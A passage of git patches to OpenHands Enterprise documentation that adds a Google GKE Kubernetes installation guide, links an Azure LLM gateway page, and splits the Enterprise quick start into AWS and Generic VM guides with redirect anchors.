href="/enterprise/integrations/external-llm-gateways"> Route LLM traffic through your existing LiteLLM or Bifrost gateway for routing, cost tracking, and audit. </Card> diff --git a/enterprise/k8s-install/installation.mdx b/enterprise/k8s-install/installation.mdx index e84ac3f77..06f513110 100644 --- a/enterprise/k8s-install/installation.mdx +++ b/enterprise/k8s-install/installation.mdx @@ -27,7 +27,8 @@ license automatically at install time. - Your **license ID** and the **email address** registered with your license (both provided by our team) - **LLM credentials** from your chosen provider, for example an Anthropic API key - from the [Anthropic Console](https://console.anthropic.com/) + from the [Anthropic Console](https://console.anthropic.com/). + For Azure models, see [Azure LLM Gateway](/enterprise/integrations/azure-llm-gateway). - DNS records you control, following the layout used throughout this guide (with `openhands.example.com` as the base domain): `app.openhands.example.com` (application), `auth.openhands.example.com` @@ -349,6 +350,10 @@ overrides on the same release — edit your `values.yaml` and apply with `helm upgrade` using the chart URL from Step 4: <CardGroup cols={2}> + <Card title="Azure LLM Gateway" icon="microsoft" href="/enterprise/integrations/azure-llm-gateway"> + Configure Azure OpenAI and Azure AI Foundry model routes. + </Card> + <Card title="Resource Limits" icon="gauge-high" href="/enterprise/k8s-install/resource-limits"> Size memory, CPU, and replicas for production workloads. </Card> diff --git a/enterprise/vm-install/admin-console-configuration.mdx b/enterprise/vm-install/admin-console-configuration.mdx index 5e3361d2c..d8bd2b3d3 100644 --- a/enterprise/vm-install/admin-console-configuration.mdx +++ b/enterprise/vm-install/admin-console-configuration.mdx @@ -107,7 +107,7 @@ Select the administrator-managed LLM provider. The Admin Console shows only the ### Provider Notes -- For Azure, deployment names must exist at the configured endpoint and API version. +- For Azure, deployment names must exist at the configured endpoint and API version. See [Azure LLM Gateway](/enterprise/integrations/azure-llm-gateway) for setup and verification. - For AWS Bedrock, use an EC2 instance profile where possible. Pods must be able to reach the instance metadata service, and the role needs model invocation permissions. - For custom OpenAI-compatible endpoints, prefix model names with `openai/`. - Model lists accept one model per line. @@ -116,6 +116,7 @@ Select the administrator-managed LLM provider. The Admin Console shows only the Enable `Allow users to configure their own LLM providers (BYOK)` to let users add provider credentials and custom models in their OpenHands settings. Leave it disabled to restrict users to administrator-managed models. + ## LiteLLM Admin Console `LiteLLM Admin Password` sets the password for the LiteLLM UI at `https://<llm-proxy-hostname>/ui`. The username is `admin`. From 451697270b1e7ca9c85f2b4b8604cad94ee5f0e8 Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Fri, 16 Oct 2026 11:35:01 -0500 Subject: [PATCH 75/97] Add Google GKE Enterprise installation documentation (#875) * docs: add Google GKE Enterprise installation guide * docs: remove conflicting GKE reproduction skill recommendation * Preserve measured validation and clarify supported configuration scope --- docs.json | 3 +- enterprise/k8s-install/gke.mdx | 182 +++++++++++++++++++++++++++++++ enterprise/k8s-install/index.mdx | 4 + 3 files changed, 188 insertions(+), 1 deletion(-) create mode 100644 enterprise/k8s-install/gke.mdx diff --git a/docs.json b/docs.json index 8ba21edf9..da24ca863 100644 --- a/docs.json +++ b/docs.json @@ -643,7 +643,8 @@ "enterprise/k8s-install/resource-limits", "enterprise/k8s-install/upgrade-guidance", "enterprise/k8s-install/eks", - "enterprise/k8s-install/aks" + "enterprise/k8s-install/aks", + "enterprise/k8s-install/gke" ] } ] diff --git a/enterprise/k8s-install/gke.mdx b/enterprise/k8s-install/gke.mdx new file mode 100644 index 000000000..24d28a015 --- /dev/null +++ b/enterprise/k8s-install/gke.mdx @@ -0,0 +1,182 @@ +--- +title: Google GKE +description: Prepare a Google Kubernetes Engine cluster to run OpenHands Enterprise +icon: cloud +--- + +Running OpenHands Enterprise on Google Kubernetes Engine (GKE) follows the standard +[Helm installation](/enterprise/k8s-install/installation), with provider-specific +choices for node pools, storage, ingress and the sandbox runtime. This guide covers +preparing the cluster. Once it is ready, follow the Helm guide to deploy. + +## Cluster Requirements + +| Requirement | Recommendation | +| --- | --- | +| Access | A Google Cloud project with billing, the GKE API enabled, and permissions to create the cluster, node pools and networking | +| Cluster mode | GKE Standard with control over Ubuntu sandbox nodes | +| GKE version | A supported GKE version compatible with [Sysbox](/enterprise/k8s-install/sysbox); verify the actual node image and containerd version | +| Sandbox OS | Ubuntu containerd nodes with a working Sysbox runtime | +| Storage class | Persistent Disk CSI, such as `standard-rwo`, with expansion enabled | +| Capacity | Sufficient regional compute, disk and address quota for application nodes, sandbox nodes and upgrades | + +Google CLI authentication alone does not establish deployment permissions. +Confirm the selected project, billing and Kubernetes access before provisioning. +Use a dedicated evaluation cluster, explicit project and zone or region, and an +isolated kubeconfig. Existing networks, private cluster access and workload +identities need their own access checks. + +## Node Pools + +Use separate pools for application services and sandbox workloads: + +- **General pool:** runs OpenHands services and cluster add-ons. Keep application + workloads here through node affinity or selectors. +- **Sysbox pool:** an Ubuntu containerd node pool for agent sandboxes. Configure + `sysbox-install=yes` as a persistent node-pool label so new nodes receive the installer. + +The evaluation used a zonal GKE Standard cluster with two `e2-standard-4` platform +nodes and one `e2-standard-4` sandbox node. Size the pools using the +[Sizing Guide](/enterprise/sizing-guide) and +[Resource Limits](/enterprise/k8s-install/resource-limits), including node overhead, +image storage and warm sandbox capacity. Verify new nodes can start a sandbox +before relying on autoscaling or node replacement. + +### Set Up the Sandbox Runtime + +1. Follow [Installing Sysbox](/enterprise/k8s-install/sysbox) to install Sysbox on + your Ubuntu sandbox pool. +2. Verify the installer and RuntimeClass, then start a real pod using + `runtimeClassName: sysbox-runc`. Installer readiness alone does not establish + that sandbox workloads can start. +3. After installing OpenHands, start a conversation and ask it to run `pwd`. + Confirm it returns the workspace directory and the pod runs on the sandbox pool. + +The tested nodes used GKE `1.35.8-gke.1225000`, Ubuntu `24.04.4`, kernel +`6.8.0-1061-gke` and containerd `2.2.7`, with Sysbox installer `v0.7.1-0`. +A real conversation sandbox ran successfully without a containerd registration repair. +Check compatibility again before changing node images or Kubernetes versions. + +## Persistent Storage + +Inspect the Persistent Disk CSI StorageClass: + +```bash +kubectl get storageclass standard-rwo -o yaml +``` + +The evaluated class uses `pd.csi.storage.gke.io`, `WaitForFirstConsumer`, +`ReadWriteOnce` and volume expansion. Configure stateful components and workspace +storage explicitly: + +```yaml +runtime-api: + env: + STORAGE_CLASS: standard-rwo +postgresql: + primary: + persistence: + storageClass: standard-rwo +``` + +Account for node disk-attachment limits and zone topology. Validate mounting, +persisted content after reattachment, and expansion on a disposable PVC for your +deployment. The evaluation verified workspace read/write. + +## Object Storage + +Conversation/session storage is separate from workspace PVCs. Helm chart `0.74.0` +supports S3-compatible and GCS filestore configuration. Select a supported object +store and configure its access before installing. + +`filestore.type: gcs` is the chart default. GCS uses the application's ambient +Google identity through Application Default Credentials; the chart's filestore +credential Secret settings apply to S3, not GCS. Configure [Workload Identity Federation for GKE](https://docs.cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) +for the application and grant access to the selected bucket. The +Vertex credential configured on the LLM gateway is a separate configuration. + +The evaluation set `filestore.type: s3` and used the chart's optional RustFS +store on Persistent Disk CSI, which required a credential Secret and a +separate Job to create the conversation bucket. Select an object store that meets +your durability and availability requirements, and verify backup and restore for +that configuration. + +## Database + +Use the [External PostgreSQL](/enterprise/external-postgres) guide for managed +database requirements and Helm values. If choosing Cloud SQL for PostgreSQL, +verify compatibility, TLS and network access against those requirements before +deployment. The tested configuration used bundled PostgreSQL. + +## Ingress + +Run an ingress controller on the general pool. Traefik was validated with a Google +Cloud public LoadBalancer: + +```yaml +service: + type: LoadBalancer +``` + +Read the Service's external IP and create a wildcard A record for your base domain. +DNS can remain with another provider. For private ingress, select the appropriate +Google Cloud load-balancer configuration and verify client access separately. + +Follow [DNS and TLS](/enterprise/k8s-install/dns-and-tls) for trusted certificates +and hostname configuration. Use flat runtime hostnames with Traefik standard Ingress. +If provisioning certificates manually, assign renewal and Secret-update ownership. +The evaluation used manual DNS-01 issuance; automatic renewal was not configured. + +## LLM Configuration + +Configure your provider through the bundled gateway in the shared Helm installation +values. For Vertex AI, provider credentials belong to the LiteLLM gateway; users +select the configured model in OpenHands. The validated configuration and model +checks are recorded in the companion Google gateway guide. + +## Validate the Installation + +1. Follow the shared Helm guide for registry authentication, namespaces, Secrets + and complete installation values. +2. Verify trusted application HTTPS and sign in through your identity provider. + Canvas should load without an additional backend URL or API-key prompt; use the + Canvas values in the Helm guide if your chart requires them. +3. Start a new conversation, ask the agent to run `pwd`, write a workspace marker + and read it back. Confirm sandbox `READY`, successful tool results and a completed reply. +4. Verify unauthenticated Enterprise API requests are rejected. Loading the static + frontend does not grant access to backend conversations or credentials. + +The evaluation passed these checks with an unmodified agent-server +`1.49.6-python` image. Ready application pods or a short model completion alone +are not sufficient first-use validation. + +## Validation Scope + +<Note> +Validated with Helm chart `0.74.0`, OpenHands `1.67.0` and agent-server +`1.49.6-python`: GitHub login, trusted HTTPS, normal Canvas loading, a Sysbox +sandbox, workspace read/write, Vertex gateway inference and a completed tool-using +conversation. The tested configuration used GKE Standard, bundled PostgreSQL, +RustFS and manually issued wildcard TLS. + +Autopilot, Cloud SQL, GCS, storage reattachment/expansion, cross-zone recovery, +autoscaling, node replacement, backup/restore and automatic certificate renewal +were not covered by these checks. The Google AI Studio API-key route was not tested. +</Note> + +## Next Steps + +<CardGroup cols={2}> + <Card title="Installing Sysbox" icon="cube" href="/enterprise/k8s-install/sysbox"> + Configure and verify the sandbox runtime. + </Card> + <Card title="DNS and TLS" icon="lock" href="/enterprise/k8s-install/dns-and-tls"> + Configure hostnames and trusted certificates. + </Card> + <Card title="Install with Helm" icon="ship" href="/enterprise/k8s-install/installation"> + Deploy the application and validate a conversation. + </Card> + <Card title="External PostgreSQL" icon="database" href="/enterprise/external-postgres"> + Configure an external database. + </Card> +</CardGroup> diff --git a/enterprise/k8s-install/index.mdx b/enterprise/k8s-install/index.mdx index 7f0445801..f62d928d6 100644 --- a/enterprise/k8s-install/index.mdx +++ b/enterprise/k8s-install/index.mdx @@ -70,6 +70,10 @@ OpenHands Enterprise consists of several components deployed as Kubernetes workl Prepare an Amazon EKS cluster to run OpenHands Enterprise. </Card> +<Card title="Google GKE" icon="google" href="/enterprise/k8s-install/gke"> + Prepare a Google Kubernetes Engine cluster to run OpenHands Enterprise. +</Card> + <Card title="External PostgreSQL" icon="database" href="/enterprise/external-postgres"> Configure OpenHands to use your own PostgreSQL database instead of the bundled instance. </Card> From 38f481e2feb0ccd4a8f218998d4d15d0f53a9cd7 Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Fri, 16 Oct 2026 11:36:33 -0500 Subject: [PATCH 76/97] docs: split Enterprise quick start into AWS and Generic VM guides (#877) * docs: add tested Google Cloud Replicated quick start * docs: split Enterprise quick start into AWS and Generic VM guides * Correct quick-start sizing references and direct installation links * Link directly to the Replicated installation skill --- docs.json | 2 + enterprise/k8s-install/installation.mdx | 4 +- enterprise/quick-start.mdx | 473 ++++-------------------- enterprise/sizing-guide.mdx | 2 +- enterprise/vm-install/aws.mdx | 335 +++++++++++++++++ enterprise/vm-install/generic-vm.mdx | 438 ++++++++++++++++++++++ enterprise/vm-install/google.mdx | 6 +- 7 files changed, 860 insertions(+), 400 deletions(-) create mode 100644 enterprise/vm-install/aws.mdx create mode 100644 enterprise/vm-install/generic-vm.mdx diff --git a/docs.json b/docs.json index da24ca863..02ccca309 100644 --- a/docs.json +++ b/docs.json @@ -542,7 +542,9 @@ "enterprise/architecture", "enterprise/sizing-guide", "enterprise/quick-start", + "enterprise/vm-install/aws", "enterprise/vm-install/google", + "enterprise/vm-install/generic-vm", { "group": "Custom Sandbox Images", "icon": "box", diff --git a/enterprise/k8s-install/installation.mdx b/enterprise/k8s-install/installation.mdx index 06f513110..2990bb027 100644 --- a/enterprise/k8s-install/installation.mdx +++ b/enterprise/k8s-install/installation.mdx @@ -40,7 +40,7 @@ license automatically at install time. - A **wildcard TLS certificate** for `*.openhands.example.com`, which you provide. - An **authentication method** for user login — GitLab, Bitbucket Data Center, and more are supported; this guide uses a **GitHub App**. See - [Creating a GitHub App](/enterprise/quick-start#create-a-github-app). + [Creating a GitHub App](/enterprise/vm-install/generic-vm#create-a-github-app). ## Step 1: Log in to the registry @@ -119,7 +119,7 @@ unset OH_RUNTIME_SHARED_KEY Then create the secret for user authentication. Other providers (GitLab, Bitbucket Data Center, and more) are supported, but this guide uses GitHub throughout. If you don't have a GitHub App yet, run our -[script](/enterprise/quick-start#create-a-github-app) — its output provides +[script](/enterprise/vm-install/generic-vm#create-a-github-app) — its output provides every value below, and the private key file is written to its `keys` directory: diff --git a/enterprise/quick-start.mdx b/enterprise/quick-start.mdx index 8d42cc0d8..737e84d54 100644 --- a/enterprise/quick-start.mdx +++ b/enterprise/quick-start.mdx @@ -1,460 +1,145 @@ --- title: Quick Start -description: Get started with a 30-day trial of OpenHands Enterprise. +description: Choose an installation guide for OpenHands Enterprise on your infrastructure. icon: rocket --- -This guide walks you through trialing OpenHands Enterprise on your own infrastructure. -You'll provision infrastructure (AWS Terraform or a manual VM setup), configure -GitHub for user authentication, and configure your LLM provider. - -## Who This Is For - -This guide is **not** for single-user local laptop installs. It is for a **30-day trial of OpenHands Enterprise** on a -**dedicated VM/server** on your own infrastructure. The deployment requires DNS records, network, and compute setup before installation. - -If you want to use OpenHands immediately without infrastructure setup: - -- Use OpenHands Cloud (SaaS) -- Run OpenHands open-source locally using Docker, CLI or SDK - -### Accounts and Credentials - -Before you begin, make sure you have the following ready: - -<Card title="Register for a Trial Account" icon="user-plus" href="https://install.r9.all-hands.dev/openhands/signup"> - Sign up for a free 30-day OpenHands Enterprise trial account. You'll need this to access the installer dashboard. -</Card> - -- **LLM credentials** from your chosen provider, for example an Anthropic API - key from the [Anthropic Console](https://console.anthropic.com/) -- **A GitHub account** with permission to create GitHub Apps -- **An AWS account** with permissions to create EC2, VPC, and Route53 resources (**if using the AWS with Terraform path**) - -## Provision Infrastructure - -You will need a VM to host OpenHands Enterprise. Choose one of the options below to provision your infrastructure. - -For Google Compute Engine with Vertex AI, follow the [Google Cloud Quick Start](/enterprise/vm-install/google). - -<Note> - The requirements below are the trial baseline, which comfortably supports about 15 concurrent sandboxes. For a larger rollout, pick your VM from the [Sizing Guide](/enterprise/sizing-guide) before provisioning. -</Note> - -<Tabs> - <Tab title="AWS with Terraform (Recommended)"> - We provide a [Terraform module](https://github.com/All-Hands-AI/OpenHands-Cloud/tree/main/terraform/aws) that provisions a properly configured environment - for OpenHands Enterprise, including the EC2 instance, DNS records, and TLS certificates. - - <Card title="OpenHands AWS Terraform Module" icon="github" href="https://github.com/All-Hands-AI/OpenHands-Cloud/tree/main/terraform/aws"> - Follow the README instructions to configure and apply the Terraform configuration. - </Card> - - <Warning> - The recommended Terraform path provisions a publicly trusted TLS certificate. If you bring - your own certificate instead, use a publicly trusted CA whenever possible. Private CA - certificates require every external webhook or OAuth provider that calls OpenHands to trust - your CA. - </Warning> - </Tab> - - <Tab title="Manual VM Setup"> - If you are provisioning a VM manually (on-premises or on another cloud provider), - it must meet the requirements below. - - <Accordion title="System requirements"> - | Resource | Requirement | - |----------|-------------| - | **vCPUs** | 16 | - | **Memory** | 64 GB | - | **Disk** | 200 GB | - | **Disk P99 write latency** | 10 ms maximum | - | **OS** | Linux (x86-64 architecture) | - | **Init system** | systemd | - | **Access** | Root access (sudo) required | - - <Note> - We recommend **Ubuntu 24.04 LTS**. The default **Sandbox Isolation** runtime - (Sysbox) is best supported on Ubuntu and requires **Linux kernel 6.3 or newer**, - which Ubuntu 24.04 provides. Very new, non-LTS releases (for example, Ubuntu 25.10 - or later) may ship kernels that are not yet supported by Sysbox and can cause - sandbox containers to fail during startup. If you do not need Docker inside the - sandbox, you can instead select the standard runtime under **Sandbox Isolation** in - the installer, which does not require a Sysbox-compatible kernel. See - [Docker in Sandbox](/enterprise/docker-in-sandbox) for details. - </Note> - </Accordion> - - <Accordion title="Network requirements"> - **Firewall inbound rules** -- the following ports must be open: - - | Port | Protocol | Purpose | - |------|----------|---------| - | 80 | TCP | HTTP ingress/redirect | - | 443 | TCP | HTTPS | - | 30000 | TCP | Admin Console | - - **Local ports** -- the following ports must be available for local processes (no firewall rules needed): - - `2379/TCP`, `7443/TCP`, `9099/TCP`, `10248/TCP`, `10257/TCP`, `10259/TCP` - - **Outbound access** -- the VM must be able to reach: - - - `replicated.app` - - `proxy.replicated.com` - - `images.r9.all-hands.dev` - - `install.r9.all-hands.dev` - - `charts.r9.all-hands.dev` - - `updates.r9.all-hands.dev` - - `github.com` - - `traefik.github.io` - - `registry-1.docker.io` - - `ghcr.io` - </Accordion> - - <Accordion title="System directories created by the installer"> - The installation creates directories and files in the following locations: - - ``` - /etc/cni - /etc/k0s - /opt/cni - /opt/containerd - /run/calico - /run/containerd - /run/k0s - /sys/fs/cgroup/kubepods - /sys/fs/cgroup/system.slice/containerd.service - /sys/fs/cgroup/system.slice/k0scontroller.service - /usr/libexec/k0s - /usr/local/bin/k0s - /var/lib/calico - /var/lib/cni - /var/lib/containers - /var/lib/embedded-cluster - /var/lib/kubelet - /var/log/calico - /var/log/containers - /var/log/embedded-cluster - /var/log/pods - ``` - </Accordion> - - ### DNS and TLS Setup - - Once your VM is running, configure DNS and TLS before starting the installer. - - **Create a wildcard DNS A record** pointing to your VM's public IP address: - - | Record | Example | - |--------|---------| - | `*.<your-domain>` | `*.openhands.example.com` | - - **Obtain a wildcard TLS certificate signed by a well-known certificate authority (CA) such as Let's Encrypt** - for `*.<your-domain>`, then copy the certificate - (`.pem` or `.crt`) and private key (`.pem` or `.key`) to the VM. Self-signed certificates - are not supported for the OpenHands application. - - <Accordion title="Can't use wildcard certificates?"> - Obtain a certificate with SANs (Subject Alternative Names) for each of these hostnames: - - - `admin.<your-domain>` - - `app.<your-domain>` - - `auth.<your-domain>` - - `analytics.<your-domain>` - - `llm-proxy.<your-domain>` - - `runtime-api.<your-domain>` - - `runtime.<your-domain>` - - By default, each sandbox runtime gets its own dynamic hostname, which only a wildcard - certificate can cover. When you configure OpenHands, set **Sandbox Routing Mode** to - **Path-based** so all sandboxes are served under `runtime.<your-domain>` instead. - </Accordion> - - <Warning> - If you don't provide TLS certificates during installation, the Admin Console will use a - self-signed certificate and your browser will display a security warning. You can still - upload your certificate afterward through the Admin Console. - </Warning> - </Tab> -</Tabs> - -## Preflight Validation - -All items below must be completed before running the installer: - -- VM meets CPU, memory, disk, and OS requirements -- DNS records are created and resolve from the VM -- Inbound ports are open: `80`, `443`, and `30000` -- Outbound domains are reachable from the VM -- GitHub App prerequisites are prepared -- (Optional) [External PostgreSQL](/enterprise/external-postgres) instance provisioned if using your own database - -<Warning> - Do not run the installer until preflight checks pass. -</Warning> - -### DNS checks - -Run the checks below on the target VM before opening the installer dashboard. - -Export your base domain: - -```bash -export BASE_DOMAIN="openhands.example.com" -``` -Test DNS: -```bash -for h in "admin.${BASE_DOMAIN}" "app.${BASE_DOMAIN}" "test-runtime.${BASE_DOMAIN}"; do - echo "[DNS] $h" - getent hosts "$h" || nslookup "$h" -done -``` - -Expected: each hostname resolves to your VM's public IP address through the -wildcard record. - -### Outbound connectivity checks - -```bash -urls=( - "https://replicated.app" - "https://proxy.replicated.com/v2/" - "https://images.r9.all-hands.dev/v2/" - "https://install.r9.all-hands.dev" - "https://charts.r9.all-hands.dev" - "https://updates.r9.all-hands.dev" - "https://github.com" - "https://traefik.github.io/charts/index.yaml" - "https://registry-1.docker.io/v2/" - "https://ghcr.io/v2/" -) - -for u in "${urls[@]}"; do - # HTTP 000 means connection failure (DNS failure, timeout, or blocked network path). - code=$(curl -sSIL --max-time 15 -o /dev/null -w "%{http_code}" "$u" || true) - if [ "$code" = "000" ]; then - echo "FAIL $u" - else - echo "OK $u (HTTP $code)" - fi -done -``` +Install OpenHands Enterprise with Replicated Embedded Cluster on a dedicated VM. +Choose the guide for your infrastructure: -Any HTTP response code other than `000` is acceptable for reachability checks -(for example `200`, `301`, `302`, `401`, `403`, `405`). - -If any check fails, stop and resolve before continuing: -- DNS failures: Verify records are created, point to the right target, and have finished propagating -- Outbound connectivity failures: Check firewall egress rules, proxy settings, and TLS inspection policies - -## Reasons for Requirements - -| Requirement | Why It Exists | -|------------|----------------| -| `443/TCP` inbound | Primary HTTPS entrypoint for users and service hostnames | -| `30000/TCP` inbound | Replicated/KOTS Admin Console for install and configuration | -| `80/TCP` inbound | HTTP entrypoint used for ingress/redirect behavior | -| `*.<domain>` DNS + cert SAN | Application services and sandboxes are addressed by hostnames under the base domain | -| `replicated.app`, `proxy.replicated.com` | Replicated control-plane/license/install paths | -| `images.r9...`, `charts.r9...`, `updates.r9...`, `install.r9...` | Vendor distribution image/chart/update/install endpoints | -| `traefik.github.io` | Embedded cluster ingress chart repository | -| `ghcr.io`, `registry-1.docker.io` | Container image pulls for platform components | -| `github.com` | GitHub App setup/auth/webhooks and downloading public agent skills | - -## Run the Installer - -### 1. Access the Installer Dashboard - -After preflight validation checks have passed, [register for a free 30-day trial](https://install.r9.all-hands.dev/openhands/signup), then -log in to the installer dashboard. You will see the dashboard below. -Click **"View install guide"** in the Install tile. - -![Installer Dashboard](./images/admin-dashboard.png) - -### 2. Name your instance - -Enter a name for your instance (e.g., your company name or environment identifier). -Select **"Outbound requests allowed"** for Network Availability, then click **Continue**. - -![Instance name and network availability](./images/install-instance-name.png) - -### 3. Run the installation commands +<CardGroup cols={2}> + <Card title="AWS Quick Start" icon="aws" href="/enterprise/vm-install/aws"> + Provision AWS infrastructure with the official Terraform module, then install and configure OpenHands. + </Card> + <Card title="Google Cloud Quick Start" icon="google" href="/enterprise/vm-install/google"> + Provision a Compute Engine VM and configure administrator-managed Vertex AI models. + </Card> + <Card title="Generic VM Quick Start" icon="server" href="/enterprise/vm-install/generic-vm"> + Prepare a Linux VM on-premises or on another cloud provider, then install and configure OpenHands. + </Card> +</CardGroup> -The install guide provides commands to run on your VM. SSH into your VM and execute them in order: +Each guide covers prerequisites, infrastructure, preflights, installation, +application configuration and first-login checks. For an existing Kubernetes +cluster, see [Install with Helm](/enterprise/k8s-install/installation). -1. **Select a version** -- the latest version is pre-selected -2. **Download the installation assets** -- copy and run the `curl` command shown -3. **Extract the installation assets** -- run the `tar` command shown (this includes your license file) -4. **Install** -- run the install command shown +The [Sizing Guide](/enterprise/sizing-guide) helps you choose resources for your +workload. The [Admin Console Configuration reference](/enterprise/vm-install/admin-console-configuration) +covers deployment settings and optional integrations. -If the install command fails after preflight checks pass, see -[Troubleshooting](/enterprise/troubleshooting) to generate a support -bundle and open a support ticket. +## Existing Quick Start Links -<Warning> - **We recommend providing your TLS certificates during installation.** If you used the - Terraform module, the certificates are in your home directory: +The previous combined guide is now available as the AWS and Generic VM guides. +Use the links below to continue from a previously bookmarked section. - ```bash - sudo ./openhands install --license license.yaml \ - --tls-cert ~/certificate.pem \ - --tls-key ~/private-key.pem - ``` +<a id="who-this-is-for"></a> - If you provisioned manually and have your own certificates on the VM, pass them the same way. - You can also omit the `--tls-cert` and `--tls-key` flags and upload certificates later through - the Admin Console. +[Who This Is For](/enterprise/vm-install/generic-vm#who-this-is-for) - For trials and production deployments, use a publicly trusted TLS certificate whenever possible. - Private CA certificates may work for users after manual trust setup, but external integrations - such as GitHub, GitLab, Slack, Jira, and Bitbucket must also trust the certificate chain. If they - do not, webhook or OAuth callbacks can fail TLS verification and repeatedly retry. -</Warning> +<a id="accounts-and-credentials"></a> -![Installation commands](./images/install-commands.png) +[Accounts and Credentials](/enterprise/vm-install/generic-vm#accounts-and-credentials) -### 4. Access the Admin Console +<a id="provision-infrastructure"></a> -Once the install command completes, the Admin Console is available at: -- `https://admin.<your-base-domain>:30000` (if you provided TLS certificates) -- `http://<your-vm-ip>:30000` (if you did not use the `--tls-cert` and `--tls-key` flags on the `install` command) +[Provision Infrastructure](/enterprise/vm-install/generic-vm#provision-infrastructure) -If you did not provide TLS certificates with the `install` command, your browser will display a security warning. -Click **Advanced**, then **Proceed** to continue to the Admin Console. +<a id="preflight-validation"></a> -![Self-signed certificate warning](./images/self-signed-cert-warning.png) +[Preflight Validation](/enterprise/vm-install/generic-vm#preflight-validation) -### 5. Upload TLS certificate (if not provided with the install command) +<a id="dns-checks"></a> -If you did not provide certificates with the `install` command, select **"Upload your own"**, -enter `admin.<your-base-domain>` under **Hostname**, upload your private key and SSL certificate, then click **Continue**. +[DNS checks](/enterprise/vm-install/generic-vm#dns-checks) -If you upload a private CA certificate, make sure any external webhook or OAuth provider that -calls OpenHands also trusts that CA. +<a id="outbound-connectivity-checks"></a> -![Upload TLS certificate](./images/upload-tls-certificate.png) +[Outbound connectivity checks](/enterprise/vm-install/generic-vm#outbound-connectivity-checks) -### 6. Log in to the Admin Console +<a id="reasons-for-requirements"></a> -Enter the password you set during installation and click **Log in**. +[Reasons for Requirements](/enterprise/vm-install/generic-vm#reasons-for-requirements) -![Admin Console login](./images/admin-console-login.png) +<a id="run-the-installer"></a> -### 7. Configure the cluster +[Run the Installer](/enterprise/vm-install/generic-vm#run-the-installer) -You will be prompted to add additional nodes to the cluster. -For a single-node deployment, click **Continue** to skip this step. +<a id="1-access-the-installer-dashboard"></a> -![Configure cluster nodes](./images/configure-cluster-nodes.png) +[1. Access the Installer Dashboard](/enterprise/vm-install/generic-vm#1-access-the-installer-dashboard) -## Configure OpenHands +<a id="2-name-your-instance"></a> -You should now see the application configuration page. +[2. Name your instance](/enterprise/vm-install/generic-vm#2-name-your-instance) -![Configure OpenHands](./images/configure-openhands.png) +<a id="3-run-the-installation-commands"></a> -### Domain Configuration +[3. Run the installation commands](/enterprise/vm-install/generic-vm#3-run-the-installation-commands) -- Keep the Hostname Configuration Mode set to **"Simple (default)"** -- Enter your base domain (e.g., `openhands.example.com`) +<a id="4-access-the-admin-console"></a> -### Certificate Configuration +[4. Access the Admin Console](/enterprise/vm-install/generic-vm#4-access-the-admin-console) -- Upload your **TLS Certificate** (`.crt` or `.pem`) -- Upload your **TLS Private Key** (`.key` or `.pem`) -- Optionally upload the root **CA Certificate** for your TLS certificates +<a id="5-upload-tls-certificate-if-not-provided-with-the-install-command"></a> -### LLM Configuration +[5. Upload TLS certificate (if not provided with the install command)](/enterprise/vm-install/generic-vm#5-upload-tls-certificate-if-not-provided-with-the-install-command) -Choose an LLM provider from the LLM Configuration dropdown and enter the details -from that provider. +<a id="6-log-in-to-the-admin-console"></a> -![LLM Configuration provider dropdown](./images/llm-configuration-provider-dropdown.png) +[6. Log in to the Admin Console](/enterprise/vm-install/generic-vm#6-log-in-to-the-admin-console) -For example, if you use Anthropic, enter your API key from the -[Anthropic Console](https://console.anthropic.com/). +<a id="7-configure-the-cluster"></a> -### Database Configuration +[7. Configure the cluster](/enterprise/vm-install/generic-vm#7-configure-the-cluster) -By default, OpenHands Enterprise uses a bundled PostgreSQL database. If you need to use your -own PostgreSQL instance (for example, to integrate with existing database infrastructure or -meet specific backup/HA requirements), see [External PostgreSQL](/enterprise/external-postgres) -for setup instructions. +<a id="configure-openhands"></a> -### GitHub Authentication +[Configure OpenHands](/enterprise/vm-install/generic-vm#configure-openhands) -Enable GitHub Authentication in the Admin Console, then follow these steps to create and -configure a GitHub App. +<a id="domain-configuration"></a> -#### Create a GitHub App +[Domain Configuration](/enterprise/vm-install/generic-vm#domain-configuration) -Run our [script](https://github.com/All-Hands-AI/OpenHands-Cloud/tree/main/scripts/create_github_app) to create a GitHub App configured for your install. +<a id="certificate-configuration"></a> -#### Map GitHub App values to Admin Console +[Certificate Configuration](/enterprise/vm-install/generic-vm#certificate-configuration) -Go back to the Installer Admin Console in your browser and enter the values from the Create GitHub App script output. For the private key, upload the file from the `keys` directory of the script location. +<a id="llm-configuration"></a> -See [GitHub](/enterprise/integrations/github) for GitHub App installation, -`@openhands` resolver behavior, pull request review identity, and repository-level -review controls. +[LLM Configuration](/enterprise/vm-install/generic-vm#llm-configuration) -### Additional Integrations +<a id="database-configuration"></a> -If your team uses Jira Data Center or Bitbucket Data Center, follow these guides -to configure Admin Console values before deployment and complete webhook setup -inside OpenHands after deployment. +[Database Configuration](/enterprise/vm-install/generic-vm#database-configuration) -<CardGroup cols={2}> - <Card title="Bitbucket Data Center" icon="code-branch" href="/enterprise/integrations/bitbucket-data-center"> - Configure Bitbucket Data Center login, repository access, bot identity, and pull request webhooks. - </Card> - <Card title="Jira Data Center" icon="building" href="/enterprise/integrations/jira-data-center"> - Configure Jira issue triggers, OAuth account linking, service account credentials, and Jira webhooks. - </Card> -</CardGroup> +<a id="github-authentication"></a> -After filling in all fields, click **Continue** at the bottom of the page. +[GitHub Authentication](/enterprise/vm-install/generic-vm#github-authentication) -## Deploy and Verify +<a id="create-a-github-app"></a> -OpenHands will begin deploying. You can expect the deployment status to transition from -**Missing** to **Unavailable** to **Ready**. This typically takes 5-10 minutes. +[Create a GitHub App](/enterprise/vm-install/generic-vm#create-a-github-app) -![Deployment in progress](./images/deployment-in-progress.png) +<a id="map-github-app-values-to-admin-console"></a> -Click **Details** next to the deployment status to monitor individual resources. Resources -shown in orange are still deploying -- wait until all resources are ready. +[Map GitHub App values to Admin Console](/enterprise/vm-install/generic-vm#map-github-app-values-to-admin-console) -![Deployment status details](./images/deployment-status-details.png) +<a id="additional-integrations"></a> -## First Login +[Additional Integrations](/enterprise/vm-install/generic-vm#additional-integrations) -Once the deployment status shows **Ready**, navigate to `https://app.<your-base-domain>` -and click the **Login with GitHub** tile. +<a id="deploy-and-verify"></a> +[Deploy and Verify](/enterprise/vm-install/generic-vm#deploy-and-verify) -Accept the Terms of Service and click **Continue**. +<a id="first-login"></a> -![Accept Terms of Service](./images/accept-terms-of-service.png) +[First Login](/enterprise/vm-install/generic-vm#first-login) -OpenHands Enterprise is now running. You can open a repository or start a new conversation. +<a id="next-steps"></a> 